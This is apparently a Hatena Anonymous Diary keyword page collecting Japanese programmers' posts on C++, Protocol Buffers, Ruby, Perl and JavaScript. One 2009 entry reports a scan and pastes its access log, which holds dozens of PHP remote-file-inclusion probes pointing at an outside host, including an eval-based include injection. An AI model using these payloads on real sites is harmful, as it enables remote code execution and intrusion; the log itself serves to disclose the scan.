「class」を含む日記 RSS

はてなキーワード: classとは

2011-02-10

http://anond.hatelabo.jp/20110209221517

Cの場合は使わないからだろ。関数内に関数

というか、Cの場合関数粒度を気にすることが多いからね。

再帰関数 > ループでかけ

たいな感じで、関数コールを嫌う文化からなぁ突き詰めると。

そういう事をしようと思わない。別な書き方をするとかじゃなかろうか?

 

いちおう、C++ならクラス内にクラスは書けるから似たような事はできる。

 

C/C++文化的に速度とメモリ重要視する言語からあんまりね、そう言うのは主流じゃないと思う。

class A{

private:

 int A:

public:

 void set_A(int &a){

  A=a;

 }

}

たいなことも・・・あまり、おすすめできないし・・・。論理的には美しいんだけど・・・いろいろ弊害もあると考えるのがC/C++

ましていわんや、関数内。

※一番痛いのは、設定関数が1箇所なので、動作変更がすぐできる>>大規模システムではコードカバレッジがあるので、

根元の関数の挙動を大きく変えられたら、上位のクラスの莫大なテストやり直しだから、1箇所変更で全箇所変わるのはデメリットw。上位で修正が基本。

というか、やっちゃだめwww。

たとえば、intをdoubleにとかなら、それもう別物だから、上位も変更でしょ。普通・・・。とか。

 

あと#define関数デバッガーでおえないので、なるべくC++コンパイラ通してinlineで書いてぇぇぇぇとか。色々。むしろ#defineで複雑なことしないで

2011-01-09

http://anond.hatelabo.jp/20110109000805

最近は、24インチ 30インチディスプレイなんて安いんだから、横80ではなく横120ぐらいは平気で使える。

classname::enumname という毎回指定でも エディタインテリジェントに保管してくれるから問題ない。

個人的には、毎回、スコープを明示して欲しい

 

基本的に 外部ツールがチェックしてくれるんだから

class{

enum{

{

};

で問題ないと思われ

言い方を変えれば、class内部以外でenum定義することなんて最近はあるのか?グローバルなenumなんて余り無いと思うが・・・

クラス内部では、省略できるし、外部からクラス内部の値を呼ぶときは、どのクラスのこのenumって外部だよって意味で毎回書いたほうが安全だろ?

 

スコープの省略は基本、オススメできない。

using namespace std

ですら、書かないほうが安全 毎回std::って書かないと、うっかり、stringクラス定義する人がいないとは限らんからね・・・

一斉に変更したい? エディタ正規表現で置換すればよろしい・・・

 

原則、外部のツールで解決できる問題は、外部のツールで解決すればいい。

言語仕様拡張されると、初心者に、その理屈を説明するという問題が出てきて、そういうのは初心者には無理。

他方、ツールを使えない初心者でも、毎回コピペや手で置換は出来る。

 

ソーシャルな人を使うという観点から、そういう言語拡張オススメできない。

2010-08-27

はてな匿名ダイアリーの標準スタイルシートデコバッドノウハウ

pタグやdivタグclass要素を指定できるのでHTMLでそのまま記述する。

いつくかはてなダイアリーでの使用可能なはてな記法は無効になっており、例えばキーワードリンク無効記法が使えないためフォントカラーキーワードリンクの黒に潰されちゃうかんじ。

以下サンプル。アルファベットクラス名(自動アンカーついていててコピペしにくい。ソースみたほうがいいかも)。

アイコン


フォント


ブロック


おまけ

a.keywordcloud10 を空白で刻むことによってうざいかんじになる。荒し用。


よ か っ た で す ね 。

こ の エ ン ト リ を プ

リ ン ト ア ウ ト し て

病 院 へ 行 っ て く だ

さ い。

2010-07-24

google発のProtocol Buffersについて

オブジェクトシリアライズツールであるプロトコルバッファについて書きます。

プロトコルバッファって何って方はこちらへ

Protocol Buffers 本家

http://code.google.com/apis/protocolbuffers/

XMLはもう不要!? Googleシリアライズツール「Protocol Buffer」

http://journal.mycom.co.jp/articles/2008/07/18/protocolbuffer/index.html

Protocol Buffers (Protocol Buffers の内部解説記事。とても参考になります)

http://dodgson.org/omo/t/?date=20080712

内容

プロトコルバッファは異種言語間でオブジェクトのやりとりをするための規格です。

独自の言語によりオブジェクトインターフェースを規定することで、多言語対応を行っています。

例えばこんな感じ。

  • address.proto
package tutorial;

message Person {
  required string name = 1;
  required int32 id = 2;        // Unique ID number for this person.
  optional string email = 3;

  enum PhoneType {
    MOBILE = 0;
    HOME = 1;
    WORK = 2;
  }

  message PhoneNumber {
    required string number = 1;
    optional PhoneType type = 2 [default = HOME];
  }

  repeated PhoneNumber phone = 4;
}

// Our address book file is just one of these.
message AddressBook {
  repeated Person person = 1;
}

以上のようなprotoファイルから各言語ソースコード、または何らかのデータ操作ライブラリを使いオブジェクトの処理を行います。

googleによってC++, Java, Python用のライブラリ作成されましたが、他の言語対応したサードパーティー製のライブラリがいくらでもあるので、実質的にほぼすべての言語で使えると言っても過言ではありません。

以下はこのライブラリを使ってみた感想などです。

整数型はVarintという可変長型でバイナリに保存される

数字が多きければ大きいほど、長いバイト長で保存されます。ただし、負数の場合符号ビットが立つ関係で、ほとんど常に変換後のバイト数が最長バイト数(10)になってしまいます。フィールドの型をsint32, sint64で宣言しると、各数値にzig-zags変換が行われるため、負数であってもその値の絶対値で使用バイト数が決まるようになります。

保存されるデータは各メッセージID/型/値のみ

バイナリに保存されるデータは各メッセージID/型/値のみです。なので、同じ定義の二つのメッセージ型は、プロトコルバッファ上では全く同じように扱うことが出来ます。例えば、片方からシリアライズしたデータを、もう片方の型でデシリアライズすることが可能です。

またオブジェクト連続シリアライズ/デシリアライズすることもできます。

継承されたクラスマッピング

すでに存在する継承関係のあるクラスを、Protocol Buffersでシリアライズ/デシリアライズしたい場合は次のようにします。

(Base, Derived はすでに存在するとします)

(ソースコード中になぜか日本語が書けないので、コメントはすべて英語になっています)

message PbBase {
        require int32 id = 1;
        require int32 value = 2;

        require Derived derived = 10; // - Point !!!
}

message PbDerived {
        require string string_value = 1;
}

継承元のメッセージ定義に、継承先のメッセージを持たせます。Base継承するクラスシリアライズ/デシリアライズしたい場合は、PbBaseメッセージを中心に処理を行うことで、比較的簡単に処理を実装することが出来ます。

例えばこんな感じ

Base *Base_DeserializeFrom(PbBase &pbobj)
{
    // Arrange the classes which inherits from Base.
    if (pbobj.has_derived()) {
        return new Derived(pbobj);
    }
    else
    ...
}

class Base {
    ...
    virtual void Base::SerializeTo(PbBase &pbobj) {
        // Set the fields of 'pbobj',
    }
    ...
};

class Derived {
    ...
    virtual void Base::SerializeTo(PbBase &pbobj)
    {
        PbDerived *derived = pbobj.mutable_derived();

        Base::SerializeTo(pbobj);
        // Set the fields of 'derived',
        ...
    }
    ...
};

protoファイルを以下のように書くと、メッセージの扱いが非常に難しくなります。

message PbBase {
        require int32 id = 1;
        require int32 value = 2;
}

message PbDerived {
        required PbBase base = 1; // - Here is the point !!!
        require string string_value = 2;
}

2010-06-10

http://anond.hatelabo.jp/20100610172758

ほんとかなあ。いまいち信じられないな。

ちょっとググっただけでこんなもんだぜ。

America, The New Class-Society

http://www.forbes.com/2007/10/09/america-class-society-ent-dream1007-cx_pm_1009class.html

America Becomes a Two-Class Society

http://www.canadafreepress.com/index.php/article/22056

めんどくさくて読んでないけどwikipediaにも色々書いてある。

Social class in the United States

http://en.wikipedia.org/wiki/Social_class_in_the_United_States

出だしからしてA classless society?だからなあ。

2010-04-26

RubyJavaログ出力を統合する方法

JRuby上で動くRubyJavaログを同じファイルに保存したいときなど

JRuby界隈で何かいい方法ないかな~と探していたけど見つからないので

RubyのLoggerのインターフェースcommons-loggingを使用して実装してみた

使用バージョンは以下

require 'logger'

class CommonsLoggingLogger
  def initialize(name="ruby")
    @progname = nil
    @logger = org.apache.commons.logging.LogFactory.getLog(name)
  end
  def add(severity, message=nil, progname=@progname, &block)
    if message.nil? and block_given?
      message = yield
    end
    
    case severity
    when Logger::DEBUG
      debug(progname){message}
    when Logger::INFO
      info(progname){message}
    when Logger::WARN
      warn(progname){message}
    when Logger::ERROR
      error(progname){message}
    else
      fatal(progname){message}
    end
  end
  def debug(arg0=nil, &block)
    @logger.debug make_log(arg0, &block)
  end
  def info(arg0=nil, &block)
    @logger.info make_log(arg0, &block)
  end
  def warn(arg0=nil, &block)
    @logger.warn make_log(arg0, &block)
  end
  def error(arg0=nil, &block)
    @logger.error make_log(arg0, &block)
  end
  def fatal(arg0=nil, &block)
    @logger.fatal make_log(arg0, &block)
  end
  def debug?
    @logger.isDebugEnabled
  end
  def info?
    @logger.isInfoEnabled
  end
  def warn?
    @logger.isWarnEnabled
  end
  def error?
    @logger.isErrorEnabled
  end
  def fatal?
    @logger.isFatalEnabled
  end
  def level
    if debug?
      Logger::DEBUG
    elsif info?
      Logger::INFO
    elsif warn?
      Logger::WARN
    elsif error?
      Logger::ERROR
    else
      Logger::FATAL
    end
  end
  def level=(lv)
    #do nothing
  end
  def sev_threshold
    level
  end
  def sev_threshold=(lv)
    #do nothing
  end
  def datetime_format
    nil
  end
  def datetime_format=(fm)
    #do nothing
  end
  
  attr_accessor :progname
  
  private
  def make_log(message_or_progname, &block)
    if block_given?
      progname = message_or_progname || @progname
      message = yield
    else
      progname = @progname
      message = message_or_progname
    end
    
    progname_message(progname, message)
  end
  def progname_message(progname, message)
    progname.nil? ? message : "#{progname}: #{message}"
  end  
end

試しにRedmineに設定して動かしてみたところ大丈夫そうだった

2010-03-03

staticを使わないの?

企業新人研修課題をやってたら、こんな感じのコードがあった。

class Kill {

public final int MINAGOROSHI = 37564;

}

こう使うみたい。

int k = new Kill().MINAGOROSHI;

実務ではstaticを使わないの?

MINAGOROSHIをstaticにする方がいいと思うんだけど。

2010-01-10

シー・シェパード告訴は通らない見通し

このあたりの話題関連。

米 Christian Science Monitor紙から適当に訳出(ちなみにこの新聞、題名とは裏腹に宗教色は薄いことに注意:参考記事)。

ワトソン率いるシー・シェパードの支持者は、第二昭南丸の無謀な行動が衝突の原因だという。批判側は、アディ・ギルの行動が衝突を不可避にしたと指摘する。

第三者としては、この動画からは何とも言えない。

しかし、熟練の航海士や船長たちからメールで寄せられた情報の一致するところでは、全ての船が衝突を回避するためのあらゆる対策を取る責任があり、非難の矛先としては、アディ・ギルのように小さくて操縦しやすい船が、旋回のしやすさゆえ、通常はより多くを負うという。

「長い歴史のある航海航法の原則では、小さくて小回りの利く船の側は意図を明確に、大きくて動きが重い船の操縦を妨げないように求められている」と、元航海士の一人は記す。

同航海士曰く、「小さい船が帆船や人力(手漕ぎ)の船で、大きい船が機械化された船のような例外を除いては、原則は明確に、小さい船にclass上(訳注:航海用語の知識不足のため訳せず)の優先権があったとしても、大きな船をどかせるような状況を回避するあらゆる努力を求めている。理由は単純で、大きな船は小さな船を見て反応するまでに時間がかかり得るからだ。つまり、海軍でも商船でもいうように、『総トン数ルール』が全てに優先するのだ」という。

国際海事機関の衝突関連規定は1972年に制定され、現在も有効であるが、同規定は、アディ・ギルの側に多くの非があるという立場を裏書きすることになりそうだ。アディ・ギルは何日もにわたって、第二昭南丸に乱暴に接近したり、船首に突進したり、レーザー日本人船員の視力を一時的に奪おうとしたり、金属線でプロペラを止めようとした。以下の動画クリスマス前に撮影されたもので、そうした行動の一部を物語っている(大音量でテクノ音楽が流れるので注意)。

http://www.youtube.com/watch?v=pR96rKo6M7k

同規定は「全ての船舶は、他の船舶の取り得る限りの進路を避け、早い段階で明確かつ実質的な行動を取ることが求められる」とし、動力船は、「機動力の限られた船」や「漁撈中の船」の進路を妨害してはならないとしている。

Whale Wars: Sea Shepherd lodges piracy charge against Japanese whalers / The Christian Science Monitor - CSMonitor.com

2009-12-10

PHPのあの関数Perlでやるには?

元ネタ http://phpspot.org/blog/archives/2009/12/phpjavascriptph_1.html

面白そうだと思ったので僕もやってみた。モジュールPerl5.8系の標準モジュールのみ利用可という制限。

全部はキツイので関数処理関係の関数(http://php.benscom.com/manual/ja/ref.funchand.php)だけ実装してみた。

use strict;
use warnings;

=head2 call_user_func

 $ret = call_user_func($function,@param);
 $ret = call_user_func([$class,$method],@param);

example1

 sub plus { $_[0] + $_[1] }
 print call_user_func('plus',10,20); # 30

example2

 package Foo;
 sub plus { $_[1] + $_[2] }
 package main;
 print call_user_func(['Foo','plus'],10,20); # 30

=cut

sub call_user_func {
    my $proto = shift;
    if ( ref $proto eq 'ARRAY' ) {
        return $$proto[0]->${\$$proto[1]}(@_);
    }
    else {
        require Pod::Functions;
        if ( $Pod::Functions::Flavor{$proto} ) {
            return eval qq{$proto(\@_)};
        }
        else {
            no strict 'refs';
            return $proto->(@_);
        }
    }
}

=head2 call_user_func_array

 $ret = call_user_func_array($function,\@param);
 $ret = call_user_func_array([$class,$method],\@param);

example

 sub plus { $_[0] + $_[1] }
 print call_user_func_array('plus',[10,20]); # 30

=cut

sub call_user_func_array {
    return call_user_func(shift,@{+shift});
}

=head2 create_function

 $code = create_function($args_str,$code_str);

example

 $code = create_function('$c,$d=1','print $c+$d');
 $code->(10); # 11

=cut

sub create_function {
    my $args = shift;
    my $code = shift;
    my $default = 0;
    my @args = split /,/,$args;
    my $code_str = 'sub {';
    for my $arg (@args) {
        if ( $arg =~ /^\s*(\$[a-zA-Z][\w]*)\s*(?:=\s*(.+))?\s*$/ ) {
            my $val = $1;
            my $def = $2;
            if ( defined $def ) {
                $default = 1;
                $code_str .= qq{my $val = \@_ ? shift : $def;\n};
            }
            else {
                die 'parse error' if $default;
                $code_str .= qq{my $val = shift;\n};
            }
        }
    }
    $code_str .= $code . '}';
    my $sub = eval $code_str;
    die $@ if $@;
    return $sub;
}

=head2 forward_static_call

 $ret = forward_static_call($function,@param);
 $ret = forward_static_call([$class,$method],@param);

=cut

sub forward_static_call {
    call_user_func(@_);
}

=head2 forward_static_call_array

 $ret = forward_static_call_array($function,\@param);
 $ret = forward_static_call_array([$class,$method],\@param);

=cut

sub forward_static_call_array {
    call_user_func_array(@_);
}

=head2 func_get_arg

 $arg = func_get_arg($no)

example

 sub foo { print func_get_arg(1) }
 foo(100,200); # 200

=cut

sub func_get_arg {
    my $n = shift;
    package DB;
    @DB::args = ();
    () = caller(1);
    return defined $DB::args[$n] ? $DB::args[$n] : undef;
}

=head2 func_get_args

 @args = func_get_args()

example

 sub foo { print join ':', func_get_args() }
 foo(11,22,33); # 11:22:33

=cut

sub func_get_args {
    my $n = shift;
    package DB;
    @DB::args = ();
    () = caller(1);
    return @DB::args;
}

=head2 func_num_args

 $arg_count = func_num_args()

example

 sub foo { print func_num_args() }
 foo(11,22,33); # 3

=cut

sub func_num_args {
    my $n = shift;
    package DB;
    @DB::args = ();
    () = caller(1);
    return scalar @DB::args;
}

=head2 function_exists

 $bool = function_exists($func)

example

 sub foo {}
 print function_exists('foo');  # 1
 print function_exists('bar');  # 0
 print function_exists('rand'); # 1

=cut

sub function_exists {
    my $func = shift;
    return 1 if exists &$func;
    require Pod::Functions;
    return $Pod::Functions::Flavor{$func} ? 1 : 0;
}

=head2 get_defined_functions

 $funcs = get_defined_functions()

=cut

sub get_defined_functions {
    require Pod::Functions;
    return {
        internal => [ keys %Pod::Functions::Flavor ],
        user     => [ grep { exists &$_ } keys %:: ],
    };
}

=head2 register_shutdown_function

 register_shutdown_function($func,@param);
 register_shutdown_function([$class,$method],@param);

=cut

{
    my $REGISTER_SHUTDOWN_FUNCTION = [];
    sub register_shutdown_function {
        my $proto = shift;
        push @$REGISTER_SHUTDOWN_FUNCTION, [
            do {
                if ( ref $proto eq 'ARRAY' ) {
                    $$proto[0]->can($$proto[1]);
                }
                else {
                    require Pod::Functions;
                    if ( $Pod::Functions::Flavor{$proto} ) {
                        sub { eval qq{$proto(\@_)} };
                    }
                    else {
                        no strict 'refs';
                        \&$proto;
                    }
                }
            },
            [@_]
        ]
    }
    END {
        $_->[0]->(@{$_->[1]}) for @$REGISTER_SHUTDOWN_FUNCTION;
    }
}

思ったよりも難しかった。標準関数一覧を取る手段がなかったので標準モジュールを利用して標準関数の一覧を取得した。

あと文字列から標準関数を呼び出すスマートな手段が思いつかなかったのでeval便りに。

create_functionはかなりゴリ押し。myを勝手に付けたりデフォルト引数にも対応してたり細かい芸が光る(自分で言うな)

forward_static_callはぶっちゃけPerl的にcall_user_funcと殆ど処理が変わらないのでそのまま利用。

func_get_arg系は結構クリティカルだなー。@DB::argsをリアルに使ったの初めてだよ。

register_shutdown_functionはちょっとねー。ENDブロックを利用してるわけなんだけど当然mod_perlとかではうまく動かない。あとシグナルとか使った方が良いのかもしれない。

ヒマがあったら他の関数とかも実装してみたいかも。

プログラ増田のあなぐら

2009-12-07

株式会社プロアームからのスキャン活動(Morfeus Fucking Scanner)

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /?_SERVER[DOCUMENT_ROOT]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 234 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /errors.php?error=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 223 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /?page=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 216 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /poll/png.php?include_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 231 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 272 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /admin/business_inc/saveserver.php?thisdir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /webcalendar/tools/send_reminders.php?noSet=0&includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 256 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /cal/tools/send_reminders.php?noSet=0&includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 251 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /projects/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 241 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /ktmlpro/includes/ktedit/toolbar.php?dirDepth=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 286 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET //?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 231 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /s_loadenv.inc.php?DOCUMENT_ROOT=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 237 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /project/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /board/include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /dotproject/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /components/com_facileforms/facileforms.frame.php?ff_compath=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 247 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /calendar/tools/send_reminders.php?noSet=0&includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 253 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 236 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /rgboard/include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 255 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /index.php?option=com_content&task=&sectionid=&id=&mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 269 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /administrator/components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 260 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /components/com_rwcards/rwcards.advancedate.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /?include_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 224 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /cacti/include/config_settings.php?config[include_path]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 248 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /cms/ktmlpro/includes/ktedit/toolbar.php?dirDepth=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 245 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection{}eval($_GET[w]);class%20zZz_ADOConnection{}//&w=include($_GET[a]);&a=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 307 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /index.php?DOCUMENT_ROOT=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 232 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:47 +0900] "GET /plugins/safehtml/HTMLSax3.php?dir[plugins]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:47 +0900] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 272 "-" "Morfeus Fucking Scanner"

2009-10-15

Javaが好きになれない10の理由

  1. メモリ管理がほぼVM任せ
  2. デストラクタが無い
  3. テンプレートが無い
  4. プリミティブ型とか参照型とか混乱の元
  5. friendが無い
    • friendが無いと最高位の蜜結合単位が無くなってしまう
    • 机上の単位PGでの表現単位は必ずしも1-1対応である必要は無いはず
  6. mainもclass内部
  7. キャスト構文がわかりづらい
    • Cも同じく
    • でも、C++のはちと面倒……もっと略せなかったのだろうか
  8. ファイル名とclass名、パッケージ階層ディレクトリ階層の関係マジウザイ
  9. 拡張for文は素直にforeachで良かったと思う
    • C++も同じく
  10. 何より、素直にアップデートするとJRE増殖するのが酷すぎる

2009-10-02

http://anond.hatelabo.jp/20091001230722

デバッグ環境無いからアレは適当にアレして欲しいんだけど

#define GETA A*Geta(){return this->a;}

#define GETB B*Getb(){return this->b;}

#define GETC C*Getc(){return this->c;}

#define GETS GETA;GETB;GETC

class A {

A *a; B *b; C *c;

 GETS;

}

class B {

A *a; B *b; C *c;

 GETS;

}

2009-09-29

OOPFizzBuzz

あえてプログラミングゴルフの正反対を目指してみる。

class FizzBuzzProgram{
	public static void main(String args[]){
		for (int i = 0; i++ < 100; ) {
			System.out.println(new Number(i).checkMod3().checkMod5());
		}
	}
}

interface Mod3Mod5Unchecked extends Mod5Unchecked {
	public Mod5Unchecked checkMod3();
}

interface Mod5Unchecked {
	public Object checkMod5();
}

class Number implements Mod3Mod5Unchecked{
	private int no;
	public Number (int no) { this.no = no; }
	public Mod5Unchecked checkMod3() {
		return no % 3 == 0 ? new Fizz(no) : this;
	}
	public Object checkMod5() {
		return no % 5 == 0 ? new Buzz() : this;
	}
	public String toString() { return Integer.toString(no); }
}

class Fizz implements Mod5Unchecked{
	private int no;
	public Fizz (int no) { this.no = no; }
	public Object checkMod5() {
		return no % 5 == 0 ? new FizzBuzz() : this;
	}
	public String toString() { return "Fizz"; }
}

class Buzz {
  	public String toString() { return "Buzz"; }
  }

class FizzBuzz {
	public String toString() { return "FizzBuzz"; }
}

2009-07-08

本当にnewっていらない子

なんかPerlのblessっぽい。

JavaScriptのnewって本当にいらない子?(http://d.hatena.ne.jp/jdg/20090706/1246840565)

というよりperlのnewっぽい。なぜか。

classクラス定義してnewでインスタンスを生成する言語を「一般的オブジェクト指向言語」とすると、

つまり、javascriptでnewを(直接)使わず、class(のようなもの)を作ればperlっぽくなる。

そもそもnewって何するの?

オブジェクトを作る。オブジェクトを作るには3つの動作が必要である。

  1. 領域を作る
  2. クラスと結びつける
  3. 初期化する

通常は言語仕様でこれらを行う"new"という命令が用意されている。しかし、必ずしも必要な物ではない。perlでは言語仕様としてはnewが用意されていない。new関数が存在するのはコーディング規約に従っているからに過ぎない。代わりにblessが用意されている。なぜこのようになっているのか。理由はいたって簡単だ。perlオブジェクトの実態はリファレンスだ。初期化を行うコンストラクタはどの道定義せねばならない。だから必要なのはリファレンスパッケージを結びつけるおまじないblessだけだ。コンストラクタで好きなリファレンスを用意し、好きなように初期化してblessすればよい。コンストラクタ名前コーディング規約でnewと決めた。一方javascriptはnewを用意した。{}でオブジェクトは作れるし、どの道コンストラクタは作る必要があるのに。

そもそもblessって何するの?

オブジェクトクラスを結びつける。しかし、javascriptクラスを持たないので必要はない。代わりに必要なのは、継承元との結びつき、プロトタイプチェーンの構築だ。

そもそも継承って何するの?

既存のクラスの性質や振る舞いを流用する。default状態を与える。一般的オブジェクト指向言語ではクラス定義時に継承元となるクラスを指定する。javascriptではクラスの代わりにオブジェクトを指定する。

そもそもクラスって何するの?

クラスとはオブジェクトの性質・振る舞いの定義だ。しかし、ダック・タイピングではオブジェクトの性質や振る舞いはオブジェクトの持つメンバにより決まるため、そのような環境ではオブジェクトに初期値と継承関係を与えるのが主な仕事となる。

そもそもコンストラクタって何するの?

コンストラクタオブジェクト初期化を行う。javascriptではクラスがないため継承コンストラクタによりオブジェクト初期化される。

つまりコンストラクタ継承すれば良いんじゃね?

var object = function(o) {
  var F = function() {};
  F.prototype = o.prototype;
  return new F;
};

JavaScriptのnewって本当にいらない子?(http://d.hatena.ne.jp/jdg/20090706/1246840565)

個人的には

var object = function(o) {
  var F = function() {};
  F.prototype = o;
  return new F;
};

で良いんじゃね?って思う。

更に、コレでは初期化しないから

var object = function(o, n) {
  var F = function() {};
  F.prototype = o;
  f = new F;
  if (n) for (var i in n) f[i] = n[i];
  return f;
};

みたいな。

さらにせっかくだからメソッドにして

var object = function(o, n) {
  var F = function() {};
  F.prototype = o;
  f = new F;
  if (not f.inherit) f.inherit = function(n) {object(this, n)};
  if (n) for (var i in n) f[i] = n[i];
  return f;
};

とか。

しかし、なんでこんなに今の継承機構は使いづらいのか。

2009-06-03

Python わかんね。Singleton わかんね。 __new__ わかんね。id わかんね。

class Singleton( object ):
  _instances = dict()

  def __new__(cls, *args, **kwargs):
    if cls not in cls._instances:
      cls._instances[cls] = object.__new__(cls, *args, **kwargs)
    return cls._instances[cls]

class A( Singleton ):
  def __init__( self, x ):
    self.x = x

a = A(1)
print id(a)
print id(a.x)

b = A(2)
print id(b)
print id(b.x)

id(a) == id(b) なのに id(a.x) != id(b.x) なのかわかんね。

2009-04-14

http://anond.hatelabo.jp/20080822142610

スーパーpre記法がアレなまま直ってないわけで。

姉妹サイト(?)ができていたわけで。

なにやらcookieを食べようとした形跡があるわけで。

#!/usr/local/bin/perl -w
use strict;
use warnings;

use Web::Scraper;
use URI;
use Perl6::Say;
use MIME::Type;
use HTTP::Cookies;
use LWP::UserAgent;
use Path::Class;
use Data::Dumper;sub p { print Data::Dumper::Dumper(@_) };

# cookie_jar


  

2009-03-12

http://anond.hatelabo.jp/20090312171548

UOは開発の顔ぶれが変わって別ゲーになっていったからな。アイテムゲーとなりはててしまった(それでもチョンゲーよりははるかに自由度高いが)日本人以外はUO離れしてWoWに行ってるよ。

自由度高めスキルMMOは主流ではないけど一度味わうとLvゲーに戻れなくなるという特徴もある。SWGは高自由度スキル制で成功していたのに、簡単Lvゲーに変更されてユーザーがいなくなり壊滅した。

セカンドライフは操作性がダメだと思うな。

運営側としては高自由度管理が大変、スキル制は製作が大変だから生まれないという背景もあるとゲーム会社の知り合いに聞いた。(ユーザーがいい意味でも悪い意味でも想定外の行動をする可能性がClassLvゲーより高いので。)

トラバ先まちがった

http://anond.hatelabo.jp/20090312171548 だった。一回投稿したら直らないのか。

2009-03-06

http://anond.hatelabo.jp/20090305235236

データベース的なものに触ろうとするとどうしてもめんどくさくなるもんなんだろうか…

Sheetと列の範囲指定してあげると、行単位アクセス出来る様なclassつくって、使い回してる。

